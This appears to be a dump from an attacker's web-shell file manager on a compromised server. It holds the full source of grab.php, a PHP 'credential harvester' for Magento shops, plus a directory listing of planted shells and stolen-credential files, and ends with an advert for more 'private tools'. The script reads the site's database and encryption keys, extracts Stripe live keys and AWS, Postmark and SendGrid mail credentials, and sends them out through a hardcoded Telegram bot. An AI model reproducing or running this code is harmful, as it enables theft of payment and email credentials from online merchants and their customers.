aDriv4 website!

Linux ubuntu-s-2vcpu-4gb-fra1-01 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
134.209.252.102

grab.php

<?php
/**
 * Magento 2 Credential Harvester
 * D1337 SOVEREIGN LABS
 * 
 * Extracts:
 * 1. Stripe Keys (sk_live, pk_live)
 * 2. AWS SES SMTP Credentials
 * 3. Postmark SMTP
 * 4. SendGrid SMTP
 * 
 * Auto-decrypts and sends to Telegram
 */

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit', '512M');

echo "Starting Magento Credential Harvester...\n";

// ============================================
// TELEGRAM CONFIG (Hardcoded)
// ============================================
$tg_bot_token = '8434935750:AAEzRdUUXxQWlLosrbLmVgYNMN--8anMzNQ';
$tg_chat_id = '-5057844746';

// ============================================
// TELEGRAM SEND FUNCTION
// ============================================
function send_telegram($msg, $file_path = null) {
    global $tg_bot_token, $tg_chat_id;
    if (empty($tg_bot_token) || $tg_bot_token === 'ENTER_BOT_TOKEN_HERE') return;

// Send text message
    if ($msg) {
        $url = "https://api.telegram.org/bot$tg_bot_token/sendMessage";
        $data = ['chat_id' => $tg_chat_id, 'text' => $msg, 'parse_mode' => 'HTML'];
        
        $options = [
            'http' => [
                'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
                'method'  => 'POST',
                'content' => http_build_query($data),
                'timeout' => 10
            ]
        ];
        $context = stream_context_create($options);
        @file_get_contents($url, false, $context);
    }

// Send file
    if ($file_path && file_exists($file_path)) {
        $url = "https://api.telegram.org/bot$tg_bot_token/sendDocument";
        
        if (function_exists('curl_init')) {
            $ch = curl_init();
            $cfile = new CURLFile($file_path);
            $data = ['chat_id' => $tg_chat_id, 'document' => $cfile];
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
            curl_exec($ch);
            curl_close($ch);
        }
    }
}

// ============================================
// FIND env.php
// ============================================
function findEnvPhp() {
    $roots = [
        dirname(__FILE__) . '/../../../../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../app/etc/env.php',
        dirname(__FILE__) . '/../../app/etc/env.php',
        dirname(__FILE__) . '/../app/etc/env.php',
        dirname(__FILE__) . '/app/etc/env.php',
        $_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php'
    ];
    foreach ($roots as $file) {
        if (file_exists($file)) return realpath($file);
    }
    return null;
}

$envFile = findEnvPhp();
if (!$envFile) die("Error: app/etc/env.php not found.\n");

$env = include $envFile;
$dbConf = $env['db']['connection']['default'];
$host = $dbConf['host'] ?? 'localhost';
$user = $dbConf['username'] ?? '';
$pass = $dbConf['password'] ?? '';
$dbname = $dbConf['dbname'] ?? '';
$prefix = $env['db']['table_prefix'] ?? '';

// Get encryption keys
$keys = [];
if (isset($env['crypt']['key'])) $keys[] = $env['crypt']['key'];
$dir = dirname($envFile);
foreach (glob($dir . '/env*.php*') as $f) {
    if ($f == $envFile) continue;
    $c = file_get_contents($f);
    if (preg_match("/'key'\s*=>\s*'([^']+)'/", $c, $m)) $keys[] = $m[1];
}
$keys = array_unique($keys);
echo "Loaded " . count($keys) . " encryption keys.\n";

// ============================================
// DECRYPT FUNCTIONS
// ============================================
if (!defined('SODIUM_CRYPTO_SECRETBOX_KEYBYTES')) define('SODIUM_CRYPTO_SECRETBOX_KEYBYTES', 32);
if (!defined('SODIUM_CRYPTO_SECRETBOX_NONCEBYTES')) define('SODIUM_CRYPTO_SECRETBOX_NONCEBYTES', 24);

function standalone_mcrypt_decrypt($value, $key) {
    if (!function_exists('mcrypt_decrypt')) return false;
    $pt = @mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $value, MCRYPT_MODE_ECB);
    return rtrim($pt, "\0");
}

// ============================================
// DATABASE CONNECTION
// ============================================
try {
    $dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";
    $pdo = new PDO($dsn, $user, $pass, [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
    ]);
} catch (PDOException $e) {
    die("DB Connection Failed: " . $e->getMessage() . "\n");
}

// ============================================
// GET HOSTNAME
// ============================================
$host_name = php_uname('n');
if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] !== 'localhost') {
    $host_name = $_SERVER['HTTP_HOST'];
} else {
    try {
        $cfg_sql = "SELECT value FROM " . $prefix . "core_config_data WHERE path = 'web/unsecure/base_url' LIMIT 1";
        $cfg_stmt = $pdo->query($cfg_sql);
        $base_url = $cfg_stmt->fetchColumn();
        if ($base_url) {
            $parsed = parse_url($base_url);
            if (isset($parsed['host'])) $host_name = $parsed['host'];
        }
    } catch (Exception $e) {}
}

$server_ip = gethostbyname($host_name);
if (isset($_SERVER['SERVER_ADDR'])) $server_ip = $_SERVER['SERVER_ADDR'];

send_telegram("🔍 Credential Harvester Started\nHost: $host_name\nIP: $server_ip");

// ============================================
// HARVEST CREDENTIALS (DYNAMIC SEARCH)
// ============================================
$results = [];

// Dynamic search queries for maximum precision
$search_queries = [
    // Stripe Keys
    "SELECT path, value, 'Stripe' as category FROM " . $prefix . "core_config_data 
     WHERE path LIKE '%stripe%' 
        OR path LIKE '%sk_live%' 
        OR path LIKE '%pk_live%' 
        OR value LIKE 'sk_live_%' 
        OR value LIKE 'pk_live_%'
        OR value LIKE 'sk_test_%' 
        OR value LIKE 'pk_test_%'",
    
    // AWS SES / SMTP (more specific)
    "SELECT path, value, 'AWS_SES' as category FROM " . $prefix . "core_config_data 
     WHERE (path LIKE '%smtp%' AND (path LIKE '%host%' OR path LIKE '%username%' OR path LIKE '%password%' OR path LIKE '%auth%' OR path LIKE '%port%' OR path LIKE '%from%'))
        OR path LIKE '%trans_email/ident_general/email%'
        OR path LIKE '%aws%' 
        OR path LIKE '%ses%access%'
        OR path LIKE '%ses%secret%'
        OR path LIKE '%ses%region%'
        OR value LIKE 'AKIA%'
        OR value LIKE '%smtp.%'
        OR value LIKE '%mail.%'",
    
    // Postmark
    "SELECT path, value, 'Postmark' as category FROM " . $prefix . "core_config_data 
     WHERE path LIKE '%postmark%' 
        OR value LIKE '%postmarkapp.com%'",
    
    // SendGrid
    "SELECT path, value, 'SendGrid' as category FROM " . $prefix . "core_config_data 
     WHERE path LIKE '%sendgrid%' 
        OR value LIKE 'SG.%'
        OR value LIKE '%sendgrid.net%'",
];

$all_rows = [];
foreach ($search_queries as $query) {
    try {
        $stmt = $pdo->query($query);
        $rows = $stmt->fetchAll();
        $all_rows = array_merge($all_rows, $rows);
    } catch (Exception $e) {
        echo "Query failed: " . $e->getMessage() . "\n";
    }
}

// Remove duplicates based on path
$unique_rows = [];
$seen_paths = [];
foreach ($all_rows as $row) {
    if (!isset($seen_paths[$row['path']])) {
        $unique_rows[] = $row;
        $seen_paths[$row['path']] = true;
    }
}

echo "Found " . count($unique_rows) . " config entries.\n";

foreach ($unique_rows as $row) {
 $path = $row['path'];
 $value = $row['value'];
 $category = $row['category'] ?? 'Unknown';
 
 if (!$value) continue;
 
 // Auto-detect label from path
 $path_parts = explode('/', $path);
 $label = end($path_parts);
 $label = str_replace('_', ' ', $label);
 $label = ucwords($label);
 
 // Try to decrypt
 $decrypted = smart_decrypt($value, $keys);
 
 // Clean up binary/garbled output
 if ($decrypted && !mb_check_encoding($decrypted, 'UTF-8')) {
 if (strlen($decrypted) < 10 || !ctype_print(str_replace([' ', "\t", "\n", "\r"], '', $decrypted))) {
 $decrypted = $value;
 }
 }
 
 // If decrypted value looks like encrypted format, use original
 if ($decrypted !== $value && strpos($decrypted, ':') !== false && !preg_match('/^[a-zA-Z0-9_\-\.@]+/', $decrypted)) {
 $decrypted = $value;
 }
 
 // Store result
 $results[] = [
 'label' => $label,
 'path' => $path,
 'category' => $category,
 'raw' => $value,
 'decrypted' => $decrypted,
 'is_encrypted' => ($decrypted !== $value && strpos($value, ':') !== false)
 ];
}

// ============================================
// FORMAT AND SEND RESULTS
// ============================================
$output = "";
$output .= str_repeat("=", 60) . "\n";
$output .= "  MAGENTO CREDENTIAL HARVEST RESULTS\n";
$output .= "  BOB MARLEY LABS\n";
$output .= str_repeat("=", 60) . "\n\n";
$output .= "Host: $host_name\n";
$output .= "IP: $server_ip\n";
$output .= "Date: " . date('Y-m-d H:i:s') . "\n\n";
$output .= str_repeat("=", 60) . "\n\n";

// Categorize results
$stripe_keys = [];
$aws_ses = [];
$postmark = [];
$sendgrid = [];
$smtp_generic = [];

foreach ($results as $r) {
    $val = $r['decrypted'];
    $category = $r['category'];
    $path = $r['path'];
    
    // Categorize by query category and value patterns
    if ($category === 'Stripe' || strpos($val, 'sk_') === 0 || strpos($val, 'pk_') === 0) {
        $stripe_keys[] = $r;
    } elseif ($category === 'AWS_SES' || strpos($val, 'AKIA') === 0 || strpos($path, 'aws') !== false || strpos($path, 'ses') !== false) {
        $aws_ses[] = $r;
    } elseif ($category === 'Postmark' || strpos($val, 'postmark') !== false || strpos($path, 'postmark') !== false) {
        $postmark[] = $r;
    } elseif ($category === 'SendGrid' || strpos($val, 'SG.') === 0 || strpos($path, 'sendgrid') !== false) {
        $sendgrid[] = $r;
    } else {
        // Generic SMTP (mail/smtp configs that don't match above)
        if (strpos($path, 'smtp') !== false || strpos($path, 'mail') !== false) {
            $smtp_generic[] = $r;
        }
    }
}

// Format Stripe
if (!empty($stripe_keys)) {
    $output .= "[STRIPE KEYS]\n";
    $output .= str_repeat("-", 60) . "\n";
    foreach ($stripe_keys as $r) {
        $val = $r['decrypted'];
        // Only show if it's a valid looking value
        if (strlen($val) > 3 && (strpos($val, 'sk_') === 0 || strpos($val, 'pk_') === 0 || in_array($val, ['test', 'live']))) {
            $output .= sprintf("%-20s: %s\n", $r['label'], $val);
        }
    }
    $output .= "\n";
}

// Format AWS SES / SMTP
if (!empty($aws_ses)) {
    // Group credentials by type
    $smtp_config = [
        'host' => '',
        'port' => '',
        'username' => '',
        'password' => '',
        'from_email' => '',
        'authentication' => '',
        'aws_access_key' => '',
        'aws_secret_key' => '',
        'aws_region' => ''
    ];
    
    // Filter and extract actual credentials
    $smtp_keys = ['host', 'username', 'password', 'port', 'authentication', 'auth', 
                  'aws', 'ses', 'access_key', 'secret_key', 'region', 'smtp_'];
    
    foreach ($aws_ses as $r) {
        $val = $r['decrypted'];
        $path = strtolower($r['path']);
        $label = strtolower($r['label']);
        
        // Debug: show all paths and values
        // echo "DEBUG: Path=$path | Value=$val\n";
        
        // Map to config structure
        if (strpos($path, 'host') !== false && strpos($path, 'smtp') !== false) {
            $smtp_config['host'] = $val;
        } elseif (strpos($path, 'port') !== false && (strpos($path, 'smtp') !== false || is_numeric($val))) {
            $smtp_config['port'] = $val;
        } elseif (strpos($path, 'username') !== false && strpos($path, 'smtp') !== false) {
            $smtp_config['username'] = $val;
        } elseif (strpos($path, 'password') !== false && strpos($path, 'smtp') !== false) {
            $smtp_config['password'] = $val;
        } elseif (strpos($path, 'authentication') !== false || (strpos($path, 'auth') !== false && strpos($path, 'smtp') !== false)) {
            $smtp_config['authentication'] = $val;
        } elseif (strpos($path, 'access_key') !== false || strpos($val, 'AKIA') === 0) {
            $smtp_config['aws_access_key'] = $val;
        } elseif (strpos($path, 'secret_key') !== false) {
            $smtp_config['aws_secret_key'] = $val;
        } elseif (strpos($path, 'region') !== false && strpos($path, 'aws') !== false) {
            $smtp_config['aws_region'] = $val;
        } elseif (strpos($val, '@') !== false && filter_var($val, FILTER_VALIDATE_EMAIL)) {
            // Detect email from various paths
            if (strpos($path, 'trans_email/ident_general/email') !== false || 
                strpos($path, 'smtp') !== false && strpos($path, 'from') !== false) {
                if (!$smtp_config['from_email']) { // Only set if not already set
                    $smtp_config['from_email'] = $val;
                }
            }
        }
    }
    
    // Fallback: if no from_email found, search for any email in aws_ses results
    if (!$smtp_config['from_email']) {
        foreach ($aws_ses as $r) {
            $val = $r['decrypted'];
            if (strpos($val, '@') !== false && filter_var($val, FILTER_VALIDATE_EMAIL)) {
                $smtp_config['from_email'] = $val;
                break;
            }
        }
    }
    
    // Check if we have actual SMTP credentials (not just email)
    $has_smtp = $smtp_config['host'] || $smtp_config['username'] || $smtp_config['password'];
    $has_aws = $smtp_config['aws_access_key'] || $smtp_config['aws_secret_key'];
    
    if ($has_smtp || $has_aws) {
        $output .= "[SMTP / AWS SES CREDENTIALS]\n";
        $output .= str_repeat("-", 60) . "\n";
        
        // Output grouped config
        if ($smtp_config['host']) {
            $output .= sprintf("%-20s: %s\n", "Host", $smtp_config['host']);
        }
        if ($smtp_config['port']) {
            $output .= sprintf("%-20s: %s\n", "Port", $smtp_config['port']);
        }
        if ($smtp_config['username']) {
            $output .= sprintf("%-20s: %s\n", "Username", $smtp_config['username']);
        }
        if ($smtp_config['password']) {
            $output .= sprintf("%-20s: %s\n", "Password", $smtp_config['password']);
        }
        if ($smtp_config['from_email']) {
            $output .= sprintf("%-20s: %s\n", "From Email", $smtp_config['from_email']);
        }
        if ($smtp_config['authentication']) {
            $output .= sprintf("%-20s: %s\n", "Authentication", $smtp_config['authentication']);
        }
        
        // AWS SES if present
        if ($smtp_config['aws_access_key']) {
            $output .= "\n";
            $output .= sprintf("%-20s: %s\n", "AWS Access Key", $smtp_config['aws_access_key']);
        }
        if ($smtp_config['aws_secret_key']) {
            $output .= sprintf("%-20s: %s\n", "AWS Secret Key", $smtp_config['aws_secret_key']);
        }
        if ($smtp_config['aws_region']) {
            $output .= sprintf("%-20s: %s\n", "AWS Region", $smtp_config['aws_region']);
        }
        
        $output .= "\n";
    }
}

// Format Postmark
if (!empty($postmark)) {
    $output .= "[POSTMARK SMTP]\n";
    $output .= str_repeat("-", 60) . "\n";
    foreach ($postmark as $r) {
        $val = $r['decrypted'];
        if (strlen($val) > 2) {
            $output .= sprintf("%-20s: %s\n", $r['label'], $val);
        }
    }
    $output .= "\n";
}

// Format SendGrid
if (!empty($sendgrid)) {
    $output .= "[SENDGRID SMTP]\n";
    $output .= str_repeat("-", 60) . "\n";
    foreach ($sendgrid as $r) {
        $val = $r['decrypted'];
        if (strlen($val) > 2) {
            $output .= sprintf("%-20s: %s\n", $r['label'], $val);
        }
    }
    $output .= "\n";
}

// Format Generic SMTP (already included in AWS SES section above)
// Removed to avoid duplication

if (empty($stripe_keys) && empty($postmark) && empty($sendgrid) && !$has_smtp && !$has_aws) {
    $output .= "[NO CREDENTIALS FOUND]\n";
    $output .= str_repeat("-", 60) . "\n";
    $output .= "No payment gateway or SMTP credentials found in database.\n";
    $output .= "This site may use default settings or external mail services.\n\n";
}

$output .= str_repeat("=", 60) . "\n";
$output .= "Total Entries: " . count($results) . "\n";

// Save to file
$clean_host = preg_replace('/[^a-zA-Z0-9.-]/', '_', $host_name);
$outFile = __DIR__ . '/' . $clean_host . '-credentials.txt';
file_put_contents($outFile, $output);

echo $output;

// Send to Telegram
if (empty($stripe_keys) && empty($postmark) && empty($sendgrid) && !$has_smtp && !$has_aws) {
 // No credentials found - just send message without file
 send_telegram("⚠️ No Credentials Found\n\nHost: $host_name\nIP: $server_ip\n\nNo payment gateway or SMTP credentials found in database.");
 echo "\nSaved to: $outFile\n";
 echo "Sent to Telegram (no credentials found).\n";
} else {
 // Credentials found - send file
 send_telegram("✅ Credential Harvest Complete\n\nHost: $host_name\nIP: $server_ip\nFound: " . count($results) . " entries", $outFile);
 echo "\nSaved to: $outFile\n";
 echo "Sent to Telegram!\n";
}
?>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	www-data/www-data	0755	2026-04-20 05:38:57
..	dir	-	www-data/www-data	0755	2026-04-27 05:36:12
admin.phar	text/x-php	23.36 KB	www-data/www-data	0644	2026-03-15 04:49:12
admin_credentials_20260315_164920.txt	text/plain	412 B	www-data/www-data	0664	2026-03-15 04:49:20
adminer.phar	application/octet-stream	465.43 KB	www-data/www-data	0664	2026-03-15 04:49:20
decrypt.php	text/x-php	15.07 KB	www-data/www-data	0644	2026-03-15 04:48:36
enmotoonline.com-cc.txt	text/plain	641 B	www-data/www-data	0644	2026-03-15 04:48:40
enmotoonline.com-credentials.txt	text/plain	687 B	www-data/www-data	0664	2026-03-15 04:48:17
grab.php	text/x-php	20.87 KB	www-data/www-data	0644	2026-03-15 04:48:13
phpinfo.phar	text/x-php	37.3 KB	www-data/www-data	0644	2026-03-15 04:48:01
yc228e7e178f6b.phar	application/octet-stream	5.08 KB	www-data/www-data	0777	2025-11-12 04:21:47
yc228e7e178f6b.php8	application/octet-stream	5.08 KB	www-data/www-data	0777	2025-11-12 04:22:11
ycd46734373db9.phar	application/octet-stream	5.08 KB	www-data/www-data	0777	2025-11-12 04:22:04
ycd46734373db9.php8	application/octet-stream	5.08 KB	www-data/www-data	0777	2025-11-12 04:22:05
ycisxy.phar	text/x-php	30 B	www-data/www-data	0775	2026-03-13 07:44:27
ycpbqo.php.	text/x-php	33 B	www-data/www-data	0775	2026-04-20 04:49:56
ycrajk.phAr	text/x-php	50 B	www-data/www-data	0775	2026-04-20 05:38:57
ycsqij.inc.	text/x-php	50 B	www-data/www-data	0775	2026-03-31 09:33:24
yczoxj.php5.	text/x-php	32 B	www-data/www-data	0775	2026-04-20 05:36:41

For more Private tool come to me!

https://t.me/aDriv4vz